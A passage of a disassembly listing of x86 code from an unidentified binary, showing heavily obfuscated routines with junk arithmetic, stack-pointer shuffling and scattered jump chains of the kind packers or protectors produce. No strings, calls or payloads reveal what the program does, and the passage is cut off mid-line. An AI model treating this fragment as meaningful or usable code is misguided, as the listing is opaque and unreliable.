[esp+0], ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp sub_594F18 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_594E24: ; CODE XREF: sdfs____:00595250j and edx, 71C146C2h jmp loc_597408 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_594E2F: ; CODE XREF: sub_591370+6B6Dj sub ebx, 5C5616D1h push eax push 2E8A2D48h pop eax jmp loc_594780 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_594E41: ; CODE XREF: sdfs____:00591F32j mov eax, 4F992269h inc eax jmp loc_58E3D7 ; --------------------------------------------------------------------------- loc_594E4C: ; CODE XREF: sdfs____:00596105j pop edx push esi jmp loc_597A93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_594E53: ; CODE XREF: sub_58E92A+1782j add bl, ch jmp loc_58BBF3 ; END OF FUNCTION CHUNK FOR sub_58E92A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_594E5A: ; CODE XREF: sub_5985AE-65C2j pop edi push edi jmp loc_591B7D ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_594E61: ; CODE XREF: sub_594228-8832j mov ebx, [esp-4+arg_0] add esp, 4 add ebx, 4 push eax mov eax, 2 add ebx, eax pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] test cx, ax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_594E8E: ; CODE XREF: sub_5917C0-86Cj add edi, 4 xchg edi, [esp+4+var_4] pop esp push edx push dword ptr [esp+4] pop edx pop [esp+4+var_4] mov esp, [esp+0] inc word ptr [esp+0] pushf jmp loc_597088 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_594EAB: ; CODE XREF: sdfs____:00595704j mov ebx, ebp pop ebp add edx, 5ED34259h add edx, 2129573Fh add edx, ebx sub edx, 2129573Fh sub edx, 5ED34259h pop ebx xchg edx, [esp] mov esp, [esp] push dword ptr [esp] pop ecx push eax jmp loc_58FE86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_594ED9: ; CODE XREF: sub_594228-5923j xchg edx, [esp+1Ah+var_1C+2] pop esp mov [esp+16h+var_18+2], esi mov esi, esp push eax mov eax, 75E45F0Ah jmp loc_597FE9 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_594EED: ; CODE XREF: sdfs____:00597D66j sub eax, edx jmp loc_590367 ; --------------------------------------------------------------------------- loc_594EF4: ; CODE XREF: sdfs____:0059715Dj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push ebx mov ebx, 4 add ecx, 1DA441FEh add ecx, ebx jmp loc_594167 ; =============== S U B R O U T I N E ======================================= sub_594F18 proc near ; CODE XREF: sub_591435+39EAj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058BBD8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058BC5C SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058C236 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058DFE0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E510 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058F967 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058FEB6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059087F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059304C SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00593F88 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005946AD SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005948B3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059533D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005981C9 SIZE 00000013 BYTES sub esp, 4 mov [esp+0Ch+var_C], ebx push [esp+0Ch+var_8] pop ebx pop [esp+0Ch+var_C] mov esp, [esp+8+var_8] mov [esp+4+var_4], edi push ebx jmp loc_58DFE0 sub_594F18 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_594F32: ; CODE XREF: sdfs____:00597403j mov bl, ch pop ecx mov edx, [esp] add esp, 4 jmp loc_592B9D ; --------------------------------------------------------------------------- loc_594F43: ; CODE XREF: sdfs____:0058DD52j pop edx sub bl, ch sub bl, 0F2h mov cx, [esp] push ebx mov ebx, esp jmp loc_58E17A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_594F55: ; CODE XREF: sub_595678-2A4Ej dec ecx xor ecx, 2A68434Eh jmp loc_58FB10 ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_594F61: ; CODE XREF: sub_591370+6459j pop ecx jmp loc_594501 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_594F67: ; CODE XREF: sdfs____:005972D4j add eax, ebx pop ebx and ebp, eax jmp loc_591E0F ; --------------------------------------------------------------------------- loc_594F71: ; CODE XREF: sdfs____:005948A6j jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_594F76: ; CODE XREF: sdfs____:0058F32Ej add eax, 4 add eax, 4 xchg eax, [esp] pop esp add ebx, 6DA11FDCh sub ebx, eax push ecx mov ecx, 6DA11FDCh jmp loc_591230 ; --------------------------------------------------------------------------- loc_594F95: ; CODE XREF: sdfs____:00590AEFj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp sub_58EC6C ; --------------------------------------------------------------------------- mov ax, [esp] push edx push esp pop edx jmp loc_593E86 ; --------------------------------------------------------------------------- loc_594FB3: ; CODE XREF: sdfs____:00591BE1j xor [esp], edi xor edi, [esp] pop esp mov [esp], ax jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_594FC3: ; CODE XREF: sdfs____:loc_590658j and edi, 31ED6EACh jmp loc_597438 ; --------------------------------------------------------------------------- loc_594FCE: ; CODE XREF: sdfs____:00597671j push esi mov esi, 0FFF47FFEh sub ebx, esi mov esi, [esp] add esp, 4 push 7CCEh mov [esp], ebx pop dword ptr [edi+24h] mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, edx jmp loc_58D252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_595001: ; CODE XREF: sub_59377D+B6Bj jns loc_58D8F9 sub ecx, 3439F20h jmp loc_592A59 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- not edi ; START OF FUNCTION CHUNK FOR sub_596736 loc_595014: ; CODE XREF: sub_596736-4B7Cj pop ebx add esp, 4 add ebx, 4 add ebx, 4 jmp loc_591011 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- loc_59502C: ; CODE XREF: sdfs____:0058D1F4j or ebp, 276F376Eh shl ebp, 4 jnp loc_596A3A push edx push eax mov eax, 77FFF6ECh mov edx, eax pop eax sub ebp, edx pop edx mov esi, ebp pop ebp add eax, esi mov esi, [esp] add esp, 4 push edi push edx mov edx, 4CC351A5h jmp loc_592E36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_595062: ; CODE XREF: sub_59576E-874Aj sub ebp, ecx pop ecx jmp loc_58E826 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_59506A: ; CODE XREF: sdfs____:0058DCAEj sub edi, 2E0B2B29h neg edi sub edi, 520854A9h xor edi, 0AA005DB8h add eax, edi pop edi xchg eax, [esp] pop esp push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_5946A1 ; --------------------------------------------------------------------------- loc_595098: ; CODE XREF: sdfs____:0058D920j sub edi, 7130FA9h jnp loc_593CE8 sub edi, 0D273CBD4h sub ebx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_58D975 ; --------------------------------------------------------------------------- loc_5950BB: ; CODE XREF: sdfs____:0058E7A1j jg loc_58E5E0 add edi, 24EF4273h jmp loc_59322D ; --------------------------------------------------------------------------- or al, 0F7h loc_5950CE: ; CODE XREF: sdfs____:00592B98j push 60CDh mov [esp], ebp push 0CCD10E2h pop ebp xor ebp, 53951A46h jg loc_59658C push ebp inc dword ptr [esp] pop ebp shr ebp, 2 jmp loc_59744A ; --------------------------------------------------------------------------- loc_5950F5: ; CODE XREF: sdfs____:loc_592400j jmp loc_591423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_5950FA: ; CODE XREF: sub_5BB696-2688Aj dec cl not cl push ebx mov bl, 0FCh dec bl xor bl, 81h push ecx jmp loc_58BC88 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_59510C: ; CODE XREF: sdfs____:005936FAj ; sub_58BC4E+9DE4j mov ebp, 79F62BA5h not ebp jmp loc_58EC1B ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_595118: ; CODE XREF: sdfs____:0058BE95j add ebp, 427711B7h jmp loc_590C07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_595123: ; CODE XREF: sub_5941BD-68FAj ; sub_59841F-48C4j mov ebp, [esp+14h+var_14] add esp, 4 sub edi, 5959421Eh add edi, 7AAFFEAFh jmp loc_58FDCB ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59513A: ; CODE XREF: sub_5917C0+2EDCj mov ecx, [esp-4+arg_0] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp push 1F43h mov [esp+0], ebp push 6630h mov [esp+4+var_4], ecx push eax mov eax, 1DD74A2Fh push eax push 5414h mov [esp+10h+var_10], edi mov edi, 2C9F41C7h sub [esp+10h+var_C], edi pop edi jmp loc_59654D ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_59517B: ; CODE XREF: sub_5941BD+46C0j push [esp+10h+var_10] mov eax, [esp+14h+var_14] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push [esp+1Ch+var_18] pop ebp pop dword ptr [esp+0] pop esp sub esp, 4 mov [esp+18h+var_18], ebx jmp loc_598BA4 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5951A5: ; CODE XREF: sub_594228-A1Ej and ecx, 5B205DBBh push esi mov esi, 499F6FC8h push esi not [esp+2+var_4+2] jmp loc_58F699 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_5951BA: ; CODE XREF: sub_59587A:loc_590D59j add edi, 24EF4273h jmp loc_58FE94 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_5951C5: ; CODE XREF: sdfs____:00598369j xchg esi, [esp] jmp loc_59300B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5951CD: ; CODE XREF: sub_5917C0+65CFj sub ebp, 2D5959BBh jmp loc_58CA5F ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5951D8: ; CODE XREF: sdfs____:0059036Aj add esp, 4 jmp loc_596317 ; --------------------------------------------------------------------------- loc_5951E0: ; CODE XREF: sdfs____:0059424Fj mov ecx, esi pop esi add esi, ecx pop ecx mov eax, esi pop esi neg eax jp loc_59329C jmp loc_596525 ; --------------------------------------------------------------------------- loc_5951F6: ; CODE XREF: sdfs____:0059594Ej mov edx, 2 sub esi, 68B604Bh add esi, edx add esi, 68B604Bh pop edx push esi push dword ptr [esp+4] jmp loc_59726E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_595214: ; CODE XREF: sub_5962EB-3DB6j add ebp, 8825B96h neg ebp jmp loc_5967C4 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_595221: ; CODE XREF: sdfs____:0059055Cj add cl, 0A7h add cl, dl sub cl, 0A7h pop edx sub al, 2Bh jmp loc_591AA5 ; --------------------------------------------------------------------------- loc_595231: ; CODE XREF: sdfs____:0058FA50j ; sdfs____:005985E7j mov ebx, [esp] jmp loc_5949D9 ; --------------------------------------------------------------------------- loc_595239: ; CODE XREF: sdfs____:0059028Bj xchg ebp, edx not ebp xchg ebp, edx sub edx, 0CA737A33h add eax, 53A4692Bh push edx mov edx, 433F5FD5h jmp loc_594E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595255: ; CODE XREF: sub_594228-3050j xor [esp+6+var_4+2], ecx mov ecx, [esp+6+var_8+2] add esp, 4 jmp loc_595A6A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_595264: ; CODE XREF: sdfs____:005903AFj sub edx, 93E1DD3h dec edx jmp loc_58C4E0 ; --------------------------------------------------------------------------- loc_595270: ; CODE XREF: sdfs____:00598B68j push esp pop ebp push edi mov edi, 4 add ebp, edi pop edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push esi mov esi, 4 mov edi, esi jmp loc_590013 ; --------------------------------------------------------------------------- loc_59529E: ; CODE XREF: sdfs____:0058DE36j mov ebx, 0D527B4h jmp loc_58E311 ; --------------------------------------------------------------------------- loc_5952A8: ; CODE XREF: sdfs____:0058BE3Ej pop esp shl dword ptr [esp], cl jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5952B1: ; CODE XREF: sdfs____:0058D88Dj ; sdfs____:0058DDB8j mov [esp], edi mov edi, esp add edi, 4 jmp loc_59376E ; --------------------------------------------------------------------------- loc_5952C1: ; CODE XREF: sdfs____:00596482j pop ebp add esi, 7458435Bh sub esi, eax sub esi, 7458435Bh push eax mov eax, 47A17CEh and eax, 5F83FE3h xor eax, 6E0F3C68h add eax, 0C320D857h add esi, eax pop eax jmp loc_593647 ; --------------------------------------------------------------------------- loc_5952ED: ; CODE XREF: sdfs____:0058FE2Fj pop edx add al, cl pop ecx jmp loc_58D1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590CC3 loc_5952F6: ; CODE XREF: sub_590CC3+5845j add esp, 4 sub ebx, edx mov edx, [esp+0] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] jmp loc_58BBAD ; END OF FUNCTION CHUNK FOR sub_590CC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595318: ; CODE XREF: sub_594228-6F0Cj add edx, 626233DCh push [esp+22h+var_24+2] pop eax add esp, 4 add edx, 4 xor edx, [esp+1Eh+var_20+2] xor [esp+1Eh+var_20+2], edx xor edx, [esp+1Eh+var_20+2] pop esp add esp, 4 jmp loc_58FD5F ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_59533D: ; CODE XREF: sub_594F18-55B0j mov [esp+4+var_4], eax push edi push 52E428F6h pop edi shr edi, 8 inc edi jmp sub_5941BD ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- loc_595350: ; CODE XREF: sdfs____:00591CE8j mov edi, 4 add ecx, edi jmp loc_593619 ; --------------------------------------------------------------------------- loc_59535C: ; CODE XREF: sdfs____:0058F7C2j add esi, ebp pop ebp jmp loc_59537C ; --------------------------------------------------------------------------- loc_595364: ; CODE XREF: sdfs____:0058F57Bj shl ebx, 3 not ebx shr ebx, 6 jmp loc_594701 ; --------------------------------------------------------------------------- loc_595371: ; CODE XREF: sdfs____:0058E1CFj xor [esp], ebx xor ebx, [esp] jmp loc_59817A ; --------------------------------------------------------------------------- loc_59537C: ; CODE XREF: sdfs____:0059535Fj push esi push dword ptr [esp+4] jmp loc_58EF16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_595386: ; CODE XREF: sub_58EB23+1E59j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_59538B: ; CODE XREF: sdfs____:0058FEDBj xchg edx, [esp] pop esp mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop edi push eax mov eax, 69F74F6Fh jmp loc_591D28 ; --------------------------------------------------------------------------- loc_5953A9: ; CODE XREF: sdfs____:005947B0j sub ecx, 3EEF7D3h jmp loc_5913F5 ; --------------------------------------------------------------------------- loc_5953B4: ; CODE XREF: sdfs____:005980B0j sub esp, 4 mov [esp], edx push eax mov eax, 76911E70h mov edx, eax pop eax inc edx jmp loc_58F9A2 ; --------------------------------------------------------------------------- loc_5953CC: ; CODE XREF: sdfs____:00596D7Cj mov eax, [esp] add esp, 4 push ebx push ecx mov ecx, 3FC8528Ch mov ebx, ecx pop ecx xor edx, ebx pop ebx inc edx xor edx, 16FF604Bh not edx not edx add edx, 0A7EDE286h jmp loc_596B57 ; --------------------------------------------------------------------------- loc_5953F8: ; CODE XREF: sdfs____:005916EFj not esi not esi sub esi, 0FFFFFFFFh dec esi jo loc_58EE9E push 10CBh mov [esp], ecx push esi mov esi, 569E16FFh sub esi, 4C776A6Bh and esi, 7DD13CD8h jmp loc_5903B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_595425: ; CODE XREF: sub_58FE99+4D5Dj add esi, 70392FDBh jl loc_596191 dec esi jmp loc_597B84 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595437: ; CODE XREF: sub_591435+B9Fj mov ebx, 4 add esi, ebx pop ebx sub esi, 4 jmp loc_593C16 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59544A: ; CODE XREF: sdfs____:00593848j sub esp, 4 mov [esp], ebp push 7CE8h mov [esp], esp add dword ptr [esp], 4 pop ebp push ebx push edx push 720E5BCDh jmp loc_5920CD ; --------------------------------------------------------------------------- loc_59546F: ; CODE XREF: sdfs____:0058C648j push bx jmp loc_58DEA1 ; --------------------------------------------------------------------------- loc_595476: ; CODE XREF: sdfs____:00590317j sub ecx, 909B9B12h add ebp, ecx pop ecx not ebp push ebx jmp loc_5977CE ; --------------------------------------------------------------------------- loc_595487: ; CODE XREF: sdfs____:0058CDA1j jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59548C: ; CODE XREF: sub_5962EB-2A5Ej and eax, ebx jmp loc_58E579 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_595493: ; CODE XREF: sdfs____:00593042j dec ecx inc ecx dec ecx xor ecx, 16D44B84h shr ecx, 6 push eax mov eax, 1617C11h jmp loc_5932BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5954AA: ; CODE XREF: sub_591435-55DAj mov edi, 6A4B183Dh jmp loc_58F461 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596F8A loc_5954B4: ; CODE XREF: sub_596F8A+7j mov [esp+8+var_8], ebx push ebx push 380h mov [esp+10h+var_10], ebp push 14DC74FFh pop ebp push esi mov esi, 476376E8h mov ebx, esi pop esi sub ebx, ebp pop ebp xor [esp+0Ch+var_8], ebx mov ebx, [esp+0Ch+var_C] jmp loc_590716 ; END OF FUNCTION CHUNK FOR sub_596F8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_5954DE: ; CODE XREF: sub_5BB696-2DE84j mov [esp+1Eh+var_20+2], edx mov dl, 6Dh sub dl, 0Ch sub ch, 4 add ch, 0C8h sub ch, dl sub ch, 0C8h add ch, 4 pop edx add ch, 4Ah shl ch, 7 shr ch, 3 sub ch, 1 xor ch, 97h xor al, ch pop ecx push ecx push ebx mov bl, 89h add bl, 0B9h push eax mov ah, 6Fh xor ah, 0F4h add bl, 0A0h add bl, ah push cx mov cl, 0A0h sub bl, 61h sub bl, cl add bl, 61h pop cx pop eax xor bl, 71h jle loc_596153 jmp loc_59194A ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- add edx, 4 ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_59553C: ; CODE XREF: sub_5BB696-2E055j ; sdfs____:0058DF64j not edx xchg edx, [esp+1Eh+var_20+2] pop edi add edi, 2CDA3C20h xchg eax, edi not eax jmp loc_58F906 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_595550: ; CODE XREF: sdfs____:00595911j pop ebx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 7AE655A7h add ecx, 4E1A4B39h sub ecx, 2611C08h sub ecx, 4C824105h add ecx, ebx add ecx, 4C824105h add ecx, 2611C08h sub ecx, 4E1A4B39h mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi jmp loc_597383 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5955A4: ; CODE XREF: sub_591435-454Aj push esi mov esi, 4 sub ecx, esi jmp loc_596A16 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_5955B1: ; CODE XREF: sub_5987BC-C383j pop esp shr eax, 18h xor eax, ecx xchg eax, esi push esi jmp loc_592938 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_5955BE: ; CODE XREF: sdfs____:00598D5Aj sub al, 4Bh xor al, 0CFh sub bl, al pop eax jmp loc_5943A3 ; --------------------------------------------------------------------------- loc_5955CA: ; CODE XREF: sdfs____:0059722Fj sub eax, ebx jmp loc_592AB7 ; --------------------------------------------------------------------------- loc_5955D1: ; CODE XREF: sdfs____:0058BCF2j mov [esp], ecx jmp loc_58F105 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5955D9: ; CODE XREF: sub_5917C0+2D3Cj pop edi sub eax, ecx pop ecx mov esi, [esp+0Eh+var_10+2] add esp, 4 push 6BE8h mov [esp+0Eh+var_10+2], edi push esi jmp loc_59878C ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5955F4: ; CODE XREF: sdfs____:005928F1j pop esi jmp loc_595BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5955FA: ; CODE XREF: sub_591435-1531j ; sub_591435-2E7j push ecx push [esp+0Eh+var_C+2] pop ecx pop [esp+0Eh+var_10+2] pop esp jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_595609: ; CODE XREF: sub_5962EB-4402j pop ecx pop [esp+8+var_8] mov ebx, [esp+4+var_4] add esp, 4 xor eax, ebx xor ebx, eax xor eax, ebx push 73F0h mov [esp+4+var_4], esi mov esi, 1F637FCh add esi, 242D0848h jle loc_594179 inc esi add esi, 0FFFFFFFFh dec esi push esi jmp loc_58DEEE ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59563D: ; CODE XREF: sdfs____:00592CD2j ; sub_594228+3C8Aj pop ebx jmp loc_58E8EC ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_595643: ; CODE XREF: sub_5987BC-C06Dj add esp, 4 jmp loc_598254 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_59564E: ; CODE XREF: sdfs____:0059456Aj push ecx mov ecx, 2 jmp loc_58BF55 ; --------------------------------------------------------------------------- loc_595659: ; CODE XREF: sdfs____:0059220Aj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5962B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59566E: ; CODE XREF: sub_5962EB-97D1j mov eax, 0AE75B83h jmp loc_5941C8 ; END OF FUNCTION CHUNK FOR sub_5962EB ; =============== S U B R O U T I N E ======================================= sub_595678 proc near ; CODE XREF: sub_594228+454Ej var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058CC16 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058FB10 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592B4E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00592C22 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00593A75 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00594B1D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00594F55 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00595D4B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00597251 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005977EC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00598557 SIZE 00000009 BYTES sub esp, 4 mov [esp+0], esp jmp loc_598557 sub_595678 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_595683: ; CODE XREF: sub_591370+76A3j add edi, ebx push [esp+8+var_8] pop ebx add esp, 4 push ecx jmp loc_58BD2F ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_595692: ; CODE XREF: sdfs____:00597518j add esi, eax sub esp, 4 mov [esp], edx mov edx, 5D95275Eh add esi, edx pop edx pop eax add esi, 4 jmp loc_593892 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_5956AB: ; CODE XREF: sub_5985AE-3F2j and eax, ecx mov ecx, [esp+4+var_4] add esp, 4 or eax, eax jz loc_592A88 push dword ptr [edi+28h] push 5E9Ah mov [esp+8+var_8], esi push 60EE7827h pop esi jmp loc_591A26 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5956D1: ; CODE XREF: sub_5917C0-1EFAj mov dl, 1Bh push cx mov ch, 0D0h add dl, ch jmp loc_59873F ; --------------------------------------------------------------------------- loc_5956DE: ; CODE XREF: sub_5917C0+543Ej mov ecx, 68954810h add ecx, 17533205h push edi mov edi, 230D4A44h dec edi jmp loc_5944F1 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_5956F5: ; CODE XREF: sdfs____:0059659Aj push edi mov edi, 223C350Ah xor edi, 35EA37AFh sub ebp, edi pop edi jmp loc_594EAB ; --------------------------------------------------------------------------- loc_595709: ; CODE XREF: sdfs____:00598B83j mov eax, esp jmp loc_58E5EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_595710: ; CODE XREF: sub_5917C0-5687j push esi push 24406892h pop esi shr esi, 8 jnp loc_592C5E add esi, 0CF84D17h jns loc_5933B9 mov dh, ah mov ax, [esp+0] push edx jmp loc_596CF2 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_595738: ; CODE XREF: sdfs____:005971B1j add ebx, eax pop eax add ebx, 0CFB5BCF7h sub edx, 5E964F86h add edx, ebx add edx, 5E964F86h mov ebx, [esp] add esp, 4 push ebx mov ebx, 2 jmp loc_58F621 ; --------------------------------------------------------------------------- loc_595763: ; CODE XREF: sdfs____:005986C8j add esp, 4 jmp loc_59619D ; =============== S U B R O U T I N E ======================================= sub_59576E proc near ; CODE XREF: sub_590561+7BB9j var_10 = dword ptr -10h var_6 = dword ptr -6 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058C6DB SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058D00E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058D3CD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058DF69 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058E826 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058F134 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058F749 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058FDA2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00590113 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00590688 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00590BEA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00590E32 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005917C8 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 005927B7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593832 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00595062 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595EF0 SIZE 0000000C BYTES ; FUNCTION 